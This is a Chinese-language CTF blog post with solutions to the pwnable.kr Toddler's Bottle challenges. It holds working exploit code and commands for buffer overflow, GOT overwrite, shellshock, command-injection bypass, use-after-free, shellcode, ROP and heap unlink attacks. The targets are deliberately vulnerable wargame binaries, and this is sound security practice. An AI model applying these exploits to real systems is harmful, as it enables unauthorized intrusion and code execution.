zoukankan      html  css  js  c++  java
  • [Toddler's Bottle]做题记录

    fd

    Pwn:

    Reason:

    • 当fd为0的时候代表标准输入,也就是控制台,然后就可以实现buf=="LETMEWIN " 编辑了一下fd.c-->命名为1.c用来测试,gcc编译指令“gcc 1.c -o 1”
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char buf[32];
    int main(int argc, char* argv[], char* envp[]){
    	if(argc<2)
    	{
    		printf("pass argv[1] a number
    ");
    		return 0;
    	}
    	printf("%s %s
    ",argv[0],argv[1]);
    	int fd = atoi( argv[1] ) - 0x1234;
    	printf("fd:%d
    ",fd);
    	int len = 0;
    	len = read(fd, buf, 32);
    	if(!strcmp("LETMEWIN
    ", buf)){
    		printf("good job :)
    ");
    		system("/bin/cat flag");
    		exit(0);
    	}
    	printf("learn about Linux file IO
    ");
    	return 0;
    }
    

    本来是想直接传0x1234但是atoi后为0,看来atoi函数不支持十六进制

     

    collision[逻辑]

    Pwn:

    col@pwnable:~$ ./col `python -c "print 'xe8x05xd9x1d'+'x01x01x01x01'*4"`
    

    Reason:

    • hashcode = A + B + B + B + B

    • 用p32可以快速得到小端

    bof[覆盖]

    Pwn:

    import pwn
    # print(os.system('ls'))
    col = pwn.process('./bof')
    # col= pwn.remote('pwnable.kr', 9000)
    payload = 'a'*0x2c+'a'*0x8+pwn.p32(0xcafebabe)
    print(payload)
    col.sendline(payload)
    col.interactive()

    Reason:

    flag[upx]

    Pwn:

    upx是一种加密方式,解密:upx -d flag 

    Reason:

    passcode[GOt覆写]

    Pwn:

    python -c "print 'a'*96+'x00xa0x04x08'+'134514147
    '" |./passcode 

    Reason: 

    random[rand()性质]

    Pwn:

    3039230856

    Reason:

    • 随机数生成函数rand(),需要搭配动态变化种子seed,否则生成的是伪随机数。 
    • 异或运算: A^B^B=A;

     

    input[代码水平]

    Pwn:

      • https://r00tk1ts.github.io/2018/03/06/input/,下面是对师傅写的exp的解析
      • 交上去的时候发现了一个python版本exp,感觉比C跟加简洁,copy下来学习学习
    import os
    import subprocess
    import socket
    import time
    
    args = list("A"*99)
    args[ord('A')-1] = ""
    args[ord('B')-1] = "x20x0ax0d"
    args = ["./test"]+args
    print(args)
    
    # stage 1 clear
    
    stdinr, stdinw = os.pipe()
    stderrr, stderrw = os.pipe()
    os.write(stdinw, "x00x0ax00xff")
    os.write(stderrw, "x00x0ax02xff")
    
    # stage 2 clear
    
    environ = {"xdexadxbexef": "xcaxfexbaxbe"}
    
    # stage 3 clear
    
    f = open("x0a", "wb")
    f.write("x00"*4)
    f.close()
    
    # stage 4 clear
    
    args[ord('C')-1] = "8888"
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    target = subprocess.Popen(args, stdin=stdinr, stderr=stderrr, env=environ)
    
    time.sleep(2)
    s.connect(("127.0.0.1", 8888))
    s.send("xdexadxbexef")
    s.close()
    View Code

    Reason:

    • step3:
      • char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串。
    • step4:
      • size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中。成功读取的元素总数会以 size_t 对象返回。
        • ptr -- 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针。
        • size -- 这是要读取的每个元素的大小,以字节为单位。
        • nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
        • stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。
      •  int memcmp(const void *str1, const void *str2, size_t n)) 把存储区 str1 和存储区 str2 的前 n 个字节进行比较。
        • 如果返回值 < 0,则表示 str1 小于 str2。
        • 如果返回值 > 0,则表示 str2 小于 str1。
        • 如果返回值 = 0,则表示 str1 等于 str2。
    • step5:
      • struct sockaddr_in:   一个用来指定IP地址和端口号的结构体, 该结构体所有成员的字序为网络字序,低字节在前,高字节在后
        • family // 即address family,如AF_INET
        • port // 端口号(注意要按位倒序,使用htons函数)
        • sin_addr.S_un.S_addr    // 一个为long类型的ip地址
      • int socket(int domain,int type,int protocol);    建立一个socket用于连接,当套接字创建成功时,返回套接字,失败返回“-1”
        • domain:套接子要使用的协议簇,协议簇的在“linux/socket.h”里有详细定义,AF_INET(TCP/IP – IPv4)
        • type:连接类型,SOCK_STREAM(TCP)
        • protocol:协议类型,当确定套接字使用的协议簇和类型时,这个参数的值就为0
      • htons()是将整数在地址空间存储方式变为高位字节存放在内存的低地址处
      • INADDR_ANY:0.0.0.0
      • int bind(int socket, const struct sockaddr *address, socklen_t address_len);将address指向的sockaddr结构体中描述的一些属性(IP地址、端口号、地址簇)与socket套接字绑定。
      • int accept(int sockfd,struct sockaddr *addr,socklen_t *addrlen);接收一个套接字中已建立的连接。成功时,返回非负整数,该整数是接收到套接字的描述符;出错时,返回-1,相应地设定全局变量errno。
        • sockfd:利用系统调用socket()建立的套接字描述符
        • addr:指向struct sockaddr的指针,该结构用通讯层服务器对等套接字的地址
        • addrlen:一个值结果参数,调用函数必须初始化为包含addr所指向结构大小的数值
      • int recv( SOCKET s,char* buf,int len,int flags);
        • len:指明buf长
        • flags:一般置0

     leg[asm]

    Pwn:

    • key = 108400

    Reason:

    mistake[逻辑] 

    Pwn:

    • 0000000000 ^ 1111111111 = 1111111111

    Reason:

    • < 优先级大于 =
    • int strncmp(const char *str1, const char *str2, size_t n), 相等返回0,str1<str2 返回<0 ,str1>str2 返回>0
      • str1 :要进行比较的第一个字符串。

      • str2 :要进行比较的第二个字符串。

      • n :要比较的最大字符数

    • int open(const char *pathname, int oflag, ... /* mode_t mode */);

      • oflag参数:
        • O_RDONLY:只读打开
        • O_WRONLY:只写打开
        • O_RDWR:读写打开

     

    shellshock[破壳漏洞]

    Pwn:

    • env x='() { :;}; bash -c "cat flag" ' ./shellshock

    Reason:

     

    mistake[二分查找]

    Pwn:

    # coding=utf-8
    from pwn import *
    def Search(l,r):
        m = (l + r) / 2
        payload = ' '.join([str(i) for i in range(l,m+1)])
        cin.sendline(payload)
        cout=cin.recvline()
        if 'Correct!' not in cout:
            if int(cout) == 10 *(m-l+1):
                Search(m+1,r)
            else:
                Search(l,m)
        else:
            print '猜对了',payload
            return
    
    def guess(i):
        data = cin.recvline()
        print '>>%d :%s ' % (i,data)
        start = re.search("N=(d*) C=(d*)", data)
        N = int(start.group(1))
        C = int(start.group(2))
        if pow(2,C)<N:
            exit()
        Search(0,N)
    
    if __name__ == '__main__':
        cin = remote('0.0.0.0', 9007)
        # cin = remote('pwnable.kr', 9007)
        print cin.recv()
        sleep(4)
    
        for i in range(101):
            if i==100:
                context.log_level='debug'
            guess(i)
    View Code

    Reason:

    • 最后要加一个contet.leve_log='debug':脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了   

     

    blackjack[逻辑]

    Pwn:

    • 第一次输入大于500,第二次输入100万,第三回赢一局

    Reason:

    lotto

    Pwn:

    • 输入的六个字符的asill在1-45
    from pwn import *
    # context.log_level='debug'
    s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
    pro = s.process('/home/lotto/lotto')
    i=0
    pro.sendline('1')
    print(pro.recv().decode('utf-8'))
    while 1:
        i+=1
        str1 = b"######"
        pro.sendline(str1)
        pro.recvuntil('Lotto Start!
    ')
        revcstr =  pro.recvline()
        print(">>Time",i,revcstr.decode('utf-8'))
        if 'bad luck...' not in revcstr.decode('utf-8'):
            print(revcstr.decode('utf-8'))
            break
        print(pro.recvuntil('3. Exit
    ').decode('utf-8'))
        pro.sendline('1')
    View Code

    Reason:

    cmd1[绕过]

    Pwn:

    • ./cmd1 '/bin/cat fl*'

    Reason:

    • 绕过

    cmd2[$()]

    Pwn:

    • cmd2@pwnable:/$ home/cmd2/cmd2 '"tmp$(pwd)lao$(pwd)q"'
    cmd2@pwnable:/$ cat /tmp/lao/q
    /bin/cat /home/cmd2/flag
    cmd2@pwnable:/$ 

    Reason:

    uaf[cpp-vtable]

    Pwn:

    uaf@pwnable:~$ python -c "print 'x48x15x40x00x00x00x00x00'">/tmp/eo
    uaf@pwnable:~$ ./uaf 24 /tmp/eo
    1. use
    2. after
    3. free
    3
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    1
    Segmentation fault (core dumped)
    uaf@pwnable:~$ ./uaf 24 /tmp/eo
    1. use
    2. after
    3. free
    3
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    2
    your data is allocated
    1. use
    2. after
    3. free
    1
    $ cat flag
    yay_f1ag_aft3r_pwning

    Reason:

    • 在看了R_1v3r师傅的博客后自己尝试着用woman来getshell,第一次执行2,成功从woman拿到getshell函数,但是还是需要再一次分配给man,不然在执行1的时候man是空的,程序出错
    • 由于是64位的程序,后面的exp需要写满4字节

    blukat[文件权限]

    Pwn:

    blukat@pwnable:~$ ./blukat 
    guess the password!
    cat: password: Permission denied
    congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

    Reason:

    • Linux文件权限:

      • 左三位:表示文件所有者的权限。

      • 中三位:表示文件所有组的权限。

      • 右三位:表示其他人的权限。

    • 这题也太狗了,还以为自己遇到了盲点,结果嗨~
    blukat@pwnable:~$ id
    uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)
    
    -rw-r-----   1 root blukat_pwn   33 Jan  6  2017 password
    

    memcpy[字节对齐]

    Pwn:

    Reason:

    • movntps在进行cpy的时候要求16位字节对齐,16字节对齐的意思就是地址的末位必须为0
    • malloc在分配内存时它实际上还会多分配4字节用于存储堆块 信息,所以如果分配a字节实际上分配的是a+4字节。另外32位系统上该函数分配的内存是以8字节对齐的
    • 【learn】

    asm[shellcode编写]

    Pwn:

    from pwn import *
    context(arch='amd64', os='linux') # 重要
    lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='asm')
    lao = lao1ao.connect_remote('0.0.0.0',9026)
    payload=shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
    payload+=shellcraft.read(3,'rsp',100)
    payload+=shellcraft.write(1,'rsp',100)
    lao.recvuntil("give me your x64 shellcode: ")
    lao.send(asm(payload))
    print(lao.recvline().decode('utf-8'))

    Reason:

    horcruxes[ROP]

    Pwn:

    from pwn import *
    context.log_level='debug'
    context(arch='amd64', os='linux') # 重要
    lao1ao = ssh(host='pwnable.kr',password='guest',port=2222,user='horcruxes')
    lao = lao1ao.connect_remote('0.0.0.0',9032)
    # 先执行ABCDEFG通过print得到他的值,然后后执行ropme执行else
    payload= b'A' * 0x78 + p32(0x809fe4b)+ p32(0x809fe6a) + p32(0x809fe89)+ p32(0x809fea8)+ p32(0x809fec7)+ p32(0x809fee6)+ p32(0x809ff05)+ p32(0x809fffc)
    lao.recvuntil("Select Menu:")
    lao.sendline("1")
    lao.recvuntil("? : ")
    lao.sendline(payload)
    sum=0
    lao.recvuntil("Voldemort
    ")# You'd better get more experience to kill Voldemort
    for i in range(7):
            lao.recvuntil("EXP +")
            sum+=int(lao.recvuntil(")")[:-1].decode('utf-8'))
            lao.recvuntil("
    ")
    # 第二轮
    lao.recvuntil("Select Menu:")
    lao.sendline("1")
    lao.recvuntil("? : ")
    lao.sendline(str(sum))
    lao.recvall()

    Reason:

    • gets()接受输入,直到stdin收到0x0a或EOF,所以无法直接跳转到open()

    unlink[heap overflow]

    Pwn:

    from pwn import *
    
    shell_addr = 0x080484eb
    context.log_level='debug'
    s =  ssh(host='pwnable.kr',port=2222, user='unlink',password='guest')
    p = s.process("./unlink")
    p.recvuntil("here is stack address leak: ")
    stack_addr = int(p.recv(10),16)
    p.recvuntil("here is heap address leak: ")
    heap_addr = int(p.recv(9),16)
    
    payload = p32(shell_addr)# A->buf
    payload += b'a'*12# A->buf(4)+B->pre_size(4)+B->size(4)
    payload += p32(stack_addr + 12) # B->fd(4)
    payload += p32(heap_addr + 12 )# B->bk(4)
    p.send(payload)
    
    p.interactive()
    

    Reason:

  • 相关阅读:
    【重点突破】——Canvas技术绘制音乐播放器界面
    【重点突破】——Canvas技术绘制随机改变的验证码
    【重点突破】——使用Canvas进行绘图图像
    【温故知新】——HTML5重要知识点复习
    【重点突破】——Cookie的使用
    vs2012 MinGW 编译ffmeg 引用外部库libx264,librtmp
    vs2015编译ffmpeg 出现错误rtmp.lib(rtmp.obj) : error LNK2001: 无法解析的外部符号 ___iob_func
    vs2012 MinGW编译ffmpeg 出现libavdevice/avdevice.c(38) : error C2059: 语法错误:“.”
    ffmpeg rtmp 推流错误WriteN, RTMP send error 10053 10038
    ffmpeg 发布hls流
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/12327540.html
Copyright © 2011-2022 走看看